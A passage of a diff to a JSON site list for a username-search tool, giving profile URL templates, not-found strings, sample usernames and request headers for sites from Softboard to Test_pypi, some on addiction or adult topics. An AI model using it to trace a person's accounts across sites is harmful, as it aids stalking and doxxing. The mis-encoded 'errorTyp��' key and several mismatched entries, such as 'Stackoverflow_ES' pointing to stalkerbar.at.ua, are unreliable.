"comments": "bad", + "bad_site": 1 + }, + "Softboard": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "<p class='ipsType_large ipsType", + "errorTyp��": "message", + "url": "https://softboard.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://softboard.ru", + "usernameON": "Rambler", + "bad_site": "" + }, + "SoftwareInformer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://users.software.informer.com/{}/", + "urlMain": "https://users.software.informer.com", + "usernameON": "adam", + "bad_site": "" + }, + "Solo": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://solo.to/{}", + "urlMain": "https://solo.to", + "usernameON": "red", + "bad_site": "" + }, + "Soloby": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>QT Media 404", + "errorMsg2": "Универ soloBY", + "errorTyp��": "message", + "url": "http://www.soloby.ru/user/{}", + "urlMain": "http://www.soloby.ru", + "usernameON": "red", + "comments": "bad", + "bad_site": 1 + }, + "Somersoft": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.somersoft.com/members/?username={}", + "urlMain": "https://www.somersoft.com", + "usernameON": "johnhenry", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Sony-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sony-club.ru/forum/members/?username={}", + "urlMain": "https://www.sony-club.ru", + "usernameON": "usman161rus", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Sony_stratege": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Сайт закрыт", + "errorMsg2": "Форум Sony - Stratege.ru", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://sony.stratege.ru/forums/member.php?username={}", + "urlMain": "https://sony.stratege.ru", + "usernameON": "kalpak", + "bad_site": "" + }, + "Sorento_kia-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sorento.kia-club.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://sorento.kia-club.ru/", + "usernameON": "king", + "bad_site": "" + }, + "Sotoguide": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://sotoguide.ru/users/{}/", + "urlMain": "https://sotoguide.ru", + "usernameON": "jura1987g", + "bad_site": 1 + }, + "SoundCloud": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://soundcloud.com/{}", + "urlMain": "https://soundcloud.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Soundex": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://soundex.ru/forum/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://soundex.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Soundgym": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "[а-яА-Я]", + "url": "https://www.soundgym.co/member/profile?m={}", + "urlMain": "https://www.soundgym.co", + "usernameON": "raydrcougso", + "bad_site": "" + }, + "Soup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://www.soup.io/author/{}", + "urlMain": "https://www.soup.io", + "usernameON": "cristina", + "bad_site": "" + }, + "SourceForge": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "error-page", + "errorTyp��": "message", + "url": "https://sourceforge.net/u/{}/profile/", + "urlMain": "https://sourceforge.net/", + "usernameON": "blue", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "TE": "trailers", + "Upgrade-Insecure-Requests": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Sourcewatch": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.sourcewatch.org/index.php?title=User:{}", + "urlMain": "https://www.sourcewatch.org", + "usernameON": "Rebekah_Wilce", + "bad_site": "" + }, + "Southklad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Форум кладоискателей - Юг Клад - Информация", + "errorTyp��": "message", + "url": "https://southklad.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://southklad.ru", + "usernameON": "admin", + "bad_site": "" + }, + "Soylentnews": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "The user you requested does not exist, no matter how much you wish this might be the case.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://soylentnews.org/~{}", + "urlMain": "https://soylentnews.org", + "usernameON": "adam", + "bad_site": "" + }, + "Sp-shopogoliki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://sp-shopogoliki.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sp-shopogoliki.ru", + "usernameON": "sima", + "bad_site": "" + }, + "Spaces": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://spaces.im/mysite/index/{}/", + "urlMain": "https://spaces.im", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Spark": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://spark.ru/startup/{}", + "urlMain": "https://spark.ru", + "usernameON": "green", + "bad_site": "" + }, + "Spartak_msk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Вы не можете произвести поиск сразу", + "errorMsg2": "Информация", + "errorMsg3": "поиска: 0", + "errorTyp��": "message", + "url": "http://spartak.msk.ru/guest/search.php?keywords=&terms=all&author={}", + "urlMain": "http://spartak.msk.ru", + "usernameON": "malyushenko", + "bad_site": "" + }, + "Spb-projects": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://spb-projects.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://spb-projects.ru", + "usernameON": "Deij", + "bad_site": "" + }, + "Speakerdeck": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "User Not Found", + "errorMsg2": "loige", + "errorMsg3": "mariozaki", + "errorTyp��": "message", + "url": "https://speakerdeck.com/{}", + "urlMain": "https://speakerdeck.com", + "usernameON": "adam", + "bad_site": "" + }, + "Speedrun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not found.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://speedrun.com/user/{}", + "urlMain": "https://speedrun.com/", + "usernameON": "3Tau", + "bad_site": "" + }, + "Spiceworks": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://community.spiceworks.com/people/{}", + "urlMain": "https://community.spiceworks.co", + "usernameON": "adam", + "bad_site": "" + }, + "Spinchat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.spinchat.com/hp/{}/", + "urlMain": "https://www.spinchat.com", + "usernameON": "Adam", + "bad_site": "" + }, + "Splatoon_wiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://splatoonwiki.org/wiki/User:{}", + "urlMain": "https://splatoonwiki.org", + "usernameON": "Hewer", + "bad_site": "" + }, + "Spletenie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Страница не найдена", + "errorMsg2": "
", + "errorTyp��": "message", + "url": "https://forum.sportbox.ru/index.php?app=members&module=list&app=members&module=list&showall=0&sort_key=members_l_display_name&sort_order=asc&max_results=20&name_box=begins&name={}", + "urlMain": "https://forum.sportbox.ru", + "usernameON": "Thedolphin", + "bad_site": "" + }, + "Sports": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "%20", + "errorMsg": "Ничего не найдено", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sports.ru/search/?query={}", + "urlMain": "https://www.sports.ru/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Sportsjournalists": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sportsjournalists.com/members/?username={}", + "urlMain": "https://www.sportsjournalists.com", + "usernameON": "outofplace", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "SportsTracker": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\"code\":\"404\"", + "errorMsg2": "Not found", + "errorTyp��": "message", + "url": "https://www.sports-tracker.com/view_profile/{}", + "urlMain": "https://www.sports-tracker.com/", + "urlProbe": "https://api.sports-tracker.com/apiserver/v1/user/name/{}", + "usernameON": "blue", + "bad_site": "" + }, + "Sportstracklive": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.sportstracklive.com/en/user/{}", + "urlMain": "https://www.sportstracklive.com", + "usernameON": "PaddyLewtas", + "bad_site": "" + }, + "Spotify_community": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\t\t0 results", + "errorMsg2": "No search results found", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://community.spotify.com/t5/forums/searchpage/tab/user?q={}", + "urlMain": "https://community.spotify.com", + "usernameON": "adam", + "bad_site": "" + }, + "Sprashivai_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "http://sprashivai.ru/{}?sl", + "urlMain": "http://sprashivai.ru", + "usernameON": "red", + "bad_site": 1 + }, + "Spursarmy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": ">Ошибка

", + "errorMsg2": "Профиль", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://spursarmy.com/profile/{}", + "urlMain": "https://spursarmy.com", + "usernameON": "Sloock", + "bad_site": "" + }, + "SPW": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.spw.ru/members/?username={}", + "urlMain": "https://forum.spw.ru", + "usernameON": "kato", + "ignore_status_code": true, + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "SQL": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "begin case_noresults", + "errorMsg3": "<TITLE>Òåõíè÷åñêîå Îáúÿâëåíèå", + "errorTyp��": "message", + "url": "https://www.sql.ru/forum/actualsearch.aspx?search=&sin=0&bid=0&a={}&ma=0&dt=-1&s=1&so=1", + "urlMain": "https://www.sql.ru", + "usernameON": "Birkhoff", + "comments": "bad", + "bad_site": 1 + }, + "Srclog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://srclog.com/{}", + "urlMain": "https://srclog.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Ssb_wiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ssbwiki.com/User:{}", + "urlMain": "https://www.ssbwiki.com", + "usernameON": "NotBen", + "bad_site": "" + }, + "Stackexchange": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users matched your search", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://unix.stackexchange.com/users/filter?search={}&filter=Month&tab=Reputation", + "urlMain": "https://unix.stackexchange.com", + "usernameON": "telcom", + "bad_site": "" + }, + "Stackoverflow": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "p>No users matched your search", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://stackoverflow.com/users/?search={}", + "urlMain": "https://stackoverflow.com", + "usernameON": "adam", + "bad_site": "" + }, + "Stackoverflow_ES": { + "country": "🇪🇸", + "country_klas": "ES", + "errorMsg": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://stalkerbar.at.ua/index/8-0-{}", + "urlMain": "https://stalkerbar.at.ua", + "usernameON": "lordsfilmpw", + "bad_site": "" + }, + "Star-girl": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "url": "https://star-girl.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://star-girl.ru", + "usernameON": "Patricia", + "comments": "bad", + "bad_site": "" + }, + "Star_Citizen": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "404 -", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://steamcommunity.com/groups/{}", + "urlMain": "https://steamcommunity.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Steamid": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Just a moment", + "errorMsg2": "Cloudflare", + "errorMsg3": "profile information", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://steamid.uk/profile/{}", + "urlMain": "https://steamid.uk/", + "comments": "cf", + "usernameON": "blue", + "bad_site": "" + }, + "Stereo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://stereo.ru/user/{}", + "urlMain": "https://stereo.ru/", + "usernameON": "Yamiha", + "bad_site": "" + }, + "Sti-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "404 Not Found", + "errorTyp��": "message", + "url": "http://www.sti-club.su/member.php?username={}", + "urlMain": "http://www.sti-club.su", + "usernameON": "Viktor85", + "bad_site": 1 + }, + "Stihi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Автор не найден", + "errorMsg2": "Поиск авторов", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.stihi.ru/avtor/{}", + "urlMain": "https://www.stihi.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Stop-narko_info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://stop-narko.info/search.php?keywords=&terms=all&author={}", + "urlMain": "http://stop-narko.info", + "usernameON": "Ergo", + "bad_site": "" + }, + "Stopgame": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://stopgame.ru/user/{}", + "urlMain": "https://stopgame.ru", + "usernameON": "Diml", + "bad_site": "" + }, + "Store_kde": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://store.kde.org/u/{}", + "urlMain": "https://store.kde.org", + "usernameON": "statman", + "bad_site": "" + }, + "Storycorps": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://archive.storycorps.org/user/{}/", + "urlMain": "https://archive.storycorps.org", + "usernameON": "adam", + "bad_site": "" + }, + "Stratege": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Форум - Stratege.ru", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.stratege.ru/forums/member.php?username={}", + "urlMain": "https://www.stratege.ru", + "usernameON": "blue", + "bad_site": "" + }, + "Strava": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.strava.com/athletes/{}", + "urlMain": "https://www.strava.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Studfile": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://studfile.net/users/{}/", + "urlMain": "https://studfile.net", + "usernameON": "adam", + "bad_site": "" + }, + "Stunited": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://stunited.org/profile/{}", + "urlMain": "http://stunited.org", + "usernameON": "mani-vel", + "bad_site": 1 + }, + "Subeta": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Invalid user", + "errorMsg2": "Error", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://subeta.net/users/{}", + "urlMain": "https://subeta.net/", + "usernameON": "Brioche", + "comments": "cf", + "bad_site": "" + }, + "Subforums": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://subforums.net/members/?username={}", + "urlMain": "https://subforums.net", + "usernameON": "romator", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Substack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://{}.substack.com/", + "urlMain": "https://substack.com/", + "usernameON": "irina", + "bad_site": "" + }, + "Sugoidesu": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://sugoidesu.net/members/?username={}", + "urlMain": "https://sugoidesu.net", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Suicidegirls": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.suicidegirls.com/members/{}/", + "urlMain": "https://www.suicidegirls.com", + "usernameON": "dtimm87", + "bad_site": "" + }, + "Suomi24": { + "country": "🇫🇮", + "country_klas": "FI", + "errorTyp��": "status_code", + "url": "https://www.suomi24.fi/profiili/{}", + "urlMain": "https://www.suomi24.fi", + "usernameON": "Kilgore", + "bad_site": "" + }, + "Superuser": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users matched your search.", + "errorMsg2": "s-empty-state bg-black-025", + "errorTyp��": "message", + "url": "https://superuser.com/users?tab=Reputation&filter=all&search={}", + "urlMain": "https://superuser.com", + "usernameON": "adam", + "bad_site": "" + }, + "Support_mozilla": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page Not Found | Mozilla", + "errorMsg2": "Sorry, we couldn't find the page you were looking for.", + "errorTyp��": "message", + "url": "https://support.mozilla.org/en-US/user/{}", + "urlMain": "https://support.mozilla.org", + "usernameON": "username", + "bad_site": "" + }, + "Suunto_Movescount_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "error=4&", + "errorMsg2": "<title>QT Media 404", + "errorTyp��": "message", + "url": "http://www.movescount.com/ru/members/{}", + "urlMain": "http://www.movescount.com", + "usernameON": "adam", + "bad_site": 1, + "comments": "https://www.suunto.com/" + }, + "Suzuki-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://suzuki-club.ru/members/?username={}", + "urlMain": "https://suzuki-club.ru", + "usernameON": "riphkin", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Suzuri": { + "country": "🇯🇵", + "country_klas": "JP", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://suzuri.jp/{}", + "urlMain": "https://suzuri.jp", + "usernameON": "boss", + "bad_site": "" + }, + "Svidbook": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://www.svidbook.ru/user/{}/", + "urlMain": "https://www.svidbook.ru/", + "usernameON": "Moon", + "comments": "bad", + "bad_site": 1 + }, + "Sweethome3d": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": " Error", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.sweethome3d.com/support/forum/viewmember;?member={}", + "urlMain": "https://www.sweethome3d.com", + "usernameON": "empereur", + "bad_site": "" + }, + "Swimming_forum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://forumswimming.ru/index/8-0-{}", + "urlMain": "http://forumswimming.ru/", + "usernameON": "irina", + "bad_site": "" + }, + "Syberpussy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://syberpussy.com/members/?username={}", + "urlMain": "https://syberpussy.com", + "usernameON": "akira20m", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Syktforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "404Ошибка! - Форум Сыктывкар. Форум города Сыктывкар", + "errorTyp��": "message", + "url": "http://syktforum.ru/profile/{}", + "urlMain": "http://syktforum.ru", + "usernameON": "TonyT", + "bad_site": 1 + }, + "Syktyvkar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://syktyvkar-online.ru/profile/{}", + "urlMain": "http://syktyvkar-online.ru", + "usernameON": "vcaun53", + "bad_site": 1 + }, + "Sysadmins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Could not obtain user posts information", + "errorMsg2": "", + "errorMsg3": "Hagakure", + "errorTyp��": "message", + "url": "https://sysadmins.ru/member{}.html", + "urlMain": "https://sysadmins.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Sysprogs": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://sysprogs.com/w/forums/users/{}/", + "urlMain": "https://sysprogs.com", + "usernameON": "jamessmith", + "comments": "RKN", + "bad_site": "" + }, + "Sythe": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "Attention Required! | Cloudflare", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sythe.org/members/?username={}", + "urlMain": "https://www.sythe.org", + "usernameON": "rskingp", + "bad_site": "" + }, + "T_baidu": { + "country": "🇨🇳", + "country_klas": "CN", + "errorTyp��": "response_url", + "url": "https://tieba.baidu.com/home/main?un={}", + "urlMain": "https://tieba.baidu.com", + "usernameON": "irina", + "bad_site": "" + }, + "Tabun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://tabun.everypony.ru/profile/{}/", + "urlMain": "https://tabun.everypony.ru", + "usernameON": "adam", + "bad_site": "" + }, + "TalkDrugabuse": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://talk.drugabuse.com/members/?username={}", + "urlMain": "https://talk.drugabuse.com", + "usernameON": "adam", + "bad_site": 1, + "comments": "cf", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Talkingsober": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://talkingsober.com/u/{}/summary", + "urlMain": "https://talkingsober.com", + "usernameON": "carljr", + "bad_site": "" + }, + "Talkstats": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://www.talkstats.com/members/?username={}", + "urlMain": "https://www.talkstats.com", + "usernameON": "johnlee", + "bad_site": 1, + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Tamboff": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существуе", + "errorMsg2": " - tamboff.ru ", + "errorTyp��": "message", + "url": "http://www.tamboff.ru/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "http://www.tamboff.ru", + "usernameON": "z0dl9rnd", + "comments": "bad", + "bad_site": 1 + }, + "TamTam": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "maximum-scale=1", + "errorMsg2": "ТамТам", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://tamtam.chat/{}", + "urlMain": "https://tamtam.chat/", + "usernameON": "blue", + "bad_site": "" + }, + "Taringa_CLOSEDEAD": { + "country": "🇦🇷", + "country_klas": "AR", + "errorTyp��": "response_url", + "url": "https://www.taringa.net/{}", + "urlMain": "https://www.taringa.net/", + "usernameON": "BLUE", + "bad_site": 1 + }, + "Teakdoor": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://teakdoor.com/members/{}.html", + "urlMain": "https://teakdoor.com", + "usernameON": "joe-90", + "comments": "bad", + "bad_site": "" + }, + "Techdirt": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": " | Techdirt", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.techdirt.com/user/{}/", + "urlMain": "https://www.techdirt.com/", + "usernameON": "thatoneguy", + "bad_site": "" + }, + "Techpowerup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.techpowerup.com/forums/members/?username={}", + "urlMain": "https://www.techpowerup.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Techrepublic": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.techrepublic.com/members/profile/{}/", + "urlMain": "https://www.techrepublic.com", + "usernameON": "Kentertainments75", + "bad_site": 1 + }, + "Tek-tips": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.tek-tips.com/userinfo.cfm?member={}", + "urlMain": "https://www.tek-tips.com/", + "usernameON": "red", + "bad_site": "" + }, + "Teknik": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The user does not exist", + "errorMsg2": "Not Exist | Teknik ", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://user.teknik.io/{}", + "urlMain": "https://teknik.io/", + "usernameON": "red", + "bad_site": 1 + }, + "Telegram": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://t.me/{}", + "urlMain": "https://t.me/", + "usernameON": "Klaus", + "bad_site": "" + }, + "Telepropusk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://telepropusk.ru/forums/users/{}/", + "urlMain": "https://telepropusk.ru", + "usernameON": "telepropusk", + "bad_site": "" + }, + "Teletype": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://teletype.in/@{}", + "urlMain": "https://teletype.in", + "usernameON": "adam", + "bad_site": "" + }, + "Television_linternaute": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://television.linternaute.com/profile/user/{}", + "urlMain": "https://television.linternaute.com", + "usernameON": "Radinoz", + "bad_site": "" + }, + "Tellonym": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tellonym.me/{}", + "urlMain": "https://tellonym.me/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Tenchat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tenchat.ru/{}", + "urlMain": "https://tenchat.ru", + "usernameON": "agreec", + "bad_site": "" + }, + "Teplak": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "Теплый Стан :: ", + "errorMsg3": "Извините,", + "errorTyp��": "message", + "url": "http://www.teplak.ru/frm/profile.php?mode=viewprofile&u={}", + "urlMain": "http://www.teplak.ru", + "usernameON": "Lexa", + "comments": "zamedlenie", + "bad_site": 1 + }, + "Terminator": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://terminator-scc.net.ru/index/8-0-{}", + "urlMain": "http://terminator-scc.net.ru", + "usernameON": "red", + "bad_site": "" + }, + "Terminatorium": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://terminatorium.borda.ru/?32-{}", + "urlMain": "https://terminatorium.borda.ru/", + "usernameON": "tengu", + "bad_site": "" + }, + "Termoshop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://termoshop.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://termoshop.ru/", + "usernameON": "yurez", + "bad_site": "" + }, + "Test_pypi": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "page\":0,\"totalMatches\":0", + "errorMsg2": "results\":[]", + "errorTyp��": "message", + "exclusion": "\\W|[а-яА-Я]", + 